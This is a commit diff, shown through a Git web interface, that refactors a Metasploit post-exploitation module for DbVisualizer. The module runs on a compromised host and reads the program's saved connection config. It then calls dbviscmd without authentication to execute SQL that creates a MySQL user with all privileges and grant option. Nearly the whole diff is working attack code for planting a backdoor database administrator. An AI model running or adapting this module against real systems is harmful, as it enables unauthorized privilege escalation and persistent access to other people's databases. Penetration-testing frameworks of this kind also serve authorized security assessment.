parent
875c024243
commit
b602fc89a3
|
@ -10,14 +10,15 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Post::Unix
|
include Msf::Post::Unix
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info( info,
|
super( update_info( info,
|
||||||
'Name' => 'Multi manage Dbvis add remote admin',
|
'Name' => 'Multi Manage Dbvis Add Db Admin',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases (With GUI).
|
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases (With GUI).
|
||||||
The remote database can be accessed from the command line without the need to authenticate.
|
The remote database can be accessed from the command line without the need to authenticate.
|
||||||
The module abuses this functionality to create an administrator in the database if DB user rights allow it.
|
The module abuses this functionality to create an administrator in the database if DB user rights allow it.
|
||||||
|
Supported databases : mysql (More supported soon)
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
|
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
|
||||||
|
@ -28,35 +29,33 @@ class Metasploit3 < Msf::Post
|
||||||
[
|
[
|
||||||
OptString.new('DBALIAS', [true,'Use dbvis_enum module to find out databases and aliases', 'localhost']),
|
OptString.new('DBALIAS', [true,'Use dbvis_enum module to find out databases and aliases', 'localhost']),
|
||||||
OptString.new('DBUSERNAME', [true,'The user you want to add to the remote database', 'msf']),
|
OptString.new('DBUSERNAME', [true,'The user you want to add to the remote database', 'msf']),
|
||||||
OptString.new('DBPASSWORD', [true,'User password to set', 'msfRocks']),
|
OptString.new('DBPASSWORD', [true,'User password to set', 'msfRocks'])
|
||||||
OptBool.new('VERBOSE', [ true , 'Print sql response', false]),
|
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
dbType = existAndSupported()
|
db_type = exist_and_supported()
|
||||||
unless dbType.nil?
|
unless db_type.blank?
|
||||||
dbvis = findDbviscmd()
|
dbvis = find_dbviscmd()
|
||||||
unless dbvis.nil?
|
unless dbvis.blank?
|
||||||
sql = getSQL(dbType)
|
sql = get_sql(db_type)
|
||||||
errors = dbvisQuery(dbvis,sql)
|
errors = dbvis_query(dbvis,sql)
|
||||||
if errors == true
|
if errors == true
|
||||||
print_error("No luck today, access is probably denied for configured user !? Try in verbose mode to know what happened. ")
|
print_error("No luck today, access is probably denied for configured user !? Try in verbose mode to know what happened. ")
|
||||||
else
|
else
|
||||||
print_good("Privileged user created ! Try now to connect with user : #{datastore['DBUSERNAME']} and password : #{datastore['DBPASSWORD']}")
|
print_good("Privileged user created ! Try now to connect with user : #{datastore['DBUSERNAME']} and password : #{datastore['DBPASSWORD']}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Check if the alias exist and if database is supported by this script
|
# Check if the alias exist and if database is supported by this script
|
||||||
def existAndSupported()
|
def exist_and_supported()
|
||||||
|
|
||||||
case session.platform
|
case session.platform
|
||||||
when /linux/
|
when /linux/
|
||||||
user = session.shell_command("whoami").chomp
|
user = session.shell_command("whoami")
|
||||||
print_status("Current user is " + user)
|
print_status("Current user is #{user}")
|
||||||
if (user =~ /root/)
|
if (user =~ /root/)
|
||||||
user_base = "/root/"
|
user_base = "/root/"
|
||||||
else
|
else
|
||||||
|
@ -65,7 +64,7 @@ class Metasploit3 < Msf::Post
|
||||||
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
|
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
|
||||||
when /win/
|
when /win/
|
||||||
user_profile = session.sys.config.getenv('USERPROFILE')
|
user_profile = session.sys.config.getenv('USERPROFILE')
|
||||||
dbvis_file = user_profile + "\\.dbvis\\config70\\dbvis.xml"
|
dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"
|
||||||
end
|
end
|
||||||
|
|
||||||
unless file?(dbvis_file)
|
unless file?(dbvis_file)
|
||||||
|
@ -74,18 +73,18 @@ class Metasploit3 < Msf::Post
|
||||||
print_status("This could be an older version of dbvis, trying old path")
|
print_status("This could be an older version of dbvis, trying old path")
|
||||||
case session.platform
|
case session.platform
|
||||||
when /linux/
|
when /linux/
|
||||||
dbvis_file = user_base + ".dbvis/config/dbvis.xml"
|
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
|
||||||
when /win/
|
when /win/
|
||||||
dbvis_file = user_profile + "\\.dbvis\\config\\dbvis.xml"
|
dbvis_file = "#{user_profile }\\.dbvis\\config\\dbvis.xml"
|
||||||
end
|
end
|
||||||
unless file?(dbvis_file)
|
unless file?(dbvis_file)
|
||||||
print_error("File not found: " + dbvis_file)
|
print_error("File not found: #{dbvis_file}")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
oldversion= true
|
old_version= true
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Reading: " + dbvis_file )
|
print_status("Reading : #{dbvis_file}" )
|
||||||
raw_xml = ""
|
raw_xml = ""
|
||||||
begin
|
begin
|
||||||
raw_xml = read_file(dbvis_file)
|
raw_xml = read_file(dbvis_file)
|
||||||
|
@ -95,75 +94,75 @@ class Metasploit3 < Msf::Post
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
dbfound=false
|
db_found=false
|
||||||
aliasFound=false
|
alias_found=false
|
||||||
dbType=nil
|
db_type=nil
|
||||||
dbTypeOk=false
|
db_type_ok=false
|
||||||
|
|
||||||
# fetch config file
|
# fetch config file
|
||||||
raw_xml.each_line do |line|
|
raw_xml.each_line do |line|
|
||||||
|
|
||||||
if line =~ /<Database id=/
|
if line =~ /<Database id=/
|
||||||
dbfound = true
|
db_found = true
|
||||||
elsif line =~ /<\/Database>/
|
elsif line =~ /<\/Database>/
|
||||||
dbfound=false
|
db_found=false
|
||||||
end
|
end
|
||||||
|
|
||||||
if dbfound == true
|
if db_found == true
|
||||||
|
|
||||||
# checkthe alias
|
# checkthe alias
|
||||||
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
|
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
|
||||||
if datastore['DBALIAS'] == $1
|
if datastore['DBALIAS'] == $1
|
||||||
aliasFound = true
|
alias_found = true
|
||||||
print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")
|
print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
|
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
|
||||||
if aliasFound
|
if alias_found
|
||||||
print_good("Username for this connection : " + $1)
|
print_good("Username for this connection : #{$1}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# check the type
|
# check the type
|
||||||
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
|
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
|
||||||
if aliasFound
|
if alias_found
|
||||||
dbType = $1
|
db_type = $1
|
||||||
dbTypeOk = checkDbType(dbType)
|
db_type_ok = check_db_type(db_type)
|
||||||
if dbTypeOk
|
if db_type_ok
|
||||||
print_good("Database #{dbType} is supported ")
|
print_good("Database #{db_type} is supported ")
|
||||||
else
|
else
|
||||||
print_error("Database #{dbType} is not supported (yet)")
|
print_error("Database #{db_type} is not supported (yet)")
|
||||||
dbType=nil
|
db_type=nil
|
||||||
end
|
end
|
||||||
aliasFound = false
|
alias_found = false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if dbType.nil?
|
if db_type.blank?
|
||||||
print_error("Database alias not found in dbvis.xml")
|
print_error("Database alias not found in dbvis.xml")
|
||||||
end
|
end
|
||||||
return dbType # That is empty if DB is not supported
|
return db_type # That is empty if DB is not supported
|
||||||
end
|
end
|
||||||
|
|
||||||
# Find path to dbviscmd.sh|bat
|
# Find path to dbviscmd.sh|bat
|
||||||
def findDbviscmd
|
def find_dbviscmd
|
||||||
case session.platform
|
case session.platform
|
||||||
when /linux/
|
when /linux/
|
||||||
dbVis = session.shell_command("locate dbviscmd.sh").chomp
|
dbvis = session.shell_command("locate dbviscmd.sh").chomp
|
||||||
if dbVis.nil? or dbVis.chomp==""
|
if dbvis.chomp==""
|
||||||
print_error("dbviscmd.sh not found")
|
print_error("dbviscmd.sh not found")
|
||||||
return nil
|
return nil
|
||||||
else
|
else
|
||||||
print_good("Dbviscmd found : " + dbVis )
|
print_good("Dbviscmd found : #{dbvis}")
|
||||||
end
|
end
|
||||||
when /win/
|
when /win/
|
||||||
# Find program files
|
# Find program files
|
||||||
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
|
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
|
||||||
progfilesx86 = progfiles_env['ProgramFiles(X86)']
|
progfiles_x86 = progfiles_env['ProgramFiles(X86)']
|
||||||
if not progfilesx86.nil? and progfilesx86 !~ /%ProgramFiles\(X86\)%/
|
if not progfiles_x86.blank? and progfiles_x86 !~ /%ProgramFiles\(X86\)%/
|
||||||
program_files = progfilesx86 # x64
|
program_files = progfiles_x86 # x64
|
||||||
else
|
else
|
||||||
program_files = progfiles_env['ProgramFiles'] # x86
|
program_files = progfiles_env['ProgramFiles'] # x86
|
||||||
end
|
end
|
||||||
|
@ -171,63 +170,58 @@ class Metasploit3 < Msf::Post
|
||||||
session.fs.dir.foreach(program_files) do |d|
|
session.fs.dir.foreach(program_files) do |d|
|
||||||
dirs << d
|
dirs << d
|
||||||
end
|
end
|
||||||
dbvisHomeDir = nil
|
dbvis_home_dir = nil
|
||||||
#Browse program content to find a possible dbvis home
|
#Browse program content to find a possible dbvis home
|
||||||
dirs.each do |d|
|
dirs.each do |d|
|
||||||
if (d =~ /DbVisualizer[\S+\s+]+/i)
|
if (d =~ /DbVisualizer[\S+\s+]+/i)
|
||||||
dbvisHomeDir=d
|
dbvis_home_dir=d
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if dbvisHomeDir.nil?
|
if dbvis_home_dir.blank?
|
||||||
print_error("Dbvis home not found, maybe uninstalled ?")
|
print_error("Dbvis home not found, maybe uninstalled ?")
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
dbVis = program_files + "\\" + dbvisHomeDir + "\\dbviscmd.bat"
|
dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"
|
||||||
unless file?(dbVis)
|
unless file?(dbvis)
|
||||||
print_error("dbviscmd.bat not found")
|
print_error("dbviscmd.bat not found")
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
print_good("Dbviscmd found : " + dbVis )
|
print_good("Dbviscmd found : #{dbvis}")
|
||||||
end
|
end
|
||||||
return dbVis
|
return dbvis
|
||||||
end
|
end
|
||||||
|
|
||||||
# Query execution method
|
# Query execution method
|
||||||
def dbvisQuery(dbvis,sql)
|
def dbvis_query(dbvis,sql)
|
||||||
error =false
|
error =false
|
||||||
resp=''
|
resp=''
|
||||||
#session.response_timeout=60
|
if file?(dbvis)==true
|
||||||
print_status("Trying to execute evil sql, it can take time ...")
|
print_status("Trying to execute evil sql, it can take time ...")
|
||||||
args = "-connection " + datastore['DBALIAS'] + " -sql \"" + sql + "\""
|
args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""
|
||||||
dbvis="\"" + dbvis + "\""
|
dbvis ="\"#{dbvis}\""
|
||||||
resp = session.sys.process.execute(dbvis, args, {'Hidden' => true, 'Channelized' => true})
|
cmd = "#{dbvis} #{args}"
|
||||||
|
resp = cmd_exec(cmd)
|
||||||
while(d = resp.channel.read)
|
vprint_line("")
|
||||||
if datastore['VERBOSE'] == true
|
vprint_status("#{resp}")
|
||||||
print_status("#{d}")
|
if resp =~ /denied|failed/i
|
||||||
end
|
error = true
|
||||||
if d =~ /denied|failed/i
|
|
||||||
error = true
|
|
||||||
end
|
end
|
||||||
|
else
|
||||||
|
print_error("#{dbvis} is not a file")
|
||||||
end
|
end
|
||||||
resp.channel.close
|
|
||||||
resp.close
|
|
||||||
return error
|
return error
|
||||||
rescue ::Exception => e
|
|
||||||
print_error("Error Running Command: #{e.class} #{e}")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Database dependent part
|
# Database dependent part
|
||||||
|
|
||||||
# Check if db type is supported by this script
|
# Check if db type is supported by this script
|
||||||
def checkDbType(type)
|
def check_db_type(type)
|
||||||
return type.to_s =~ /mysql/i
|
return type.to_s =~ /mysql/i
|
||||||
end
|
end
|
||||||
|
|
||||||
# Build proper sql
|
# Build proper sql
|
||||||
def getSQL(dbType)
|
def get_sql(db_type)
|
||||||
|
if db_type =~ /mysql/i
|
||||||
if dbType =~ /mysql/i
|
|
||||||
sql = "CREATE USER '#{datastore['DBUSERNAME']}'@'localhost' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"
|
sql = "CREATE USER '#{datastore['DBUSERNAME']}'@'localhost' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"
|
||||||
sql += "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'localhost' WITH GRANT OPTION;"
|
sql += "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'localhost' WITH GRANT OPTION;"
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue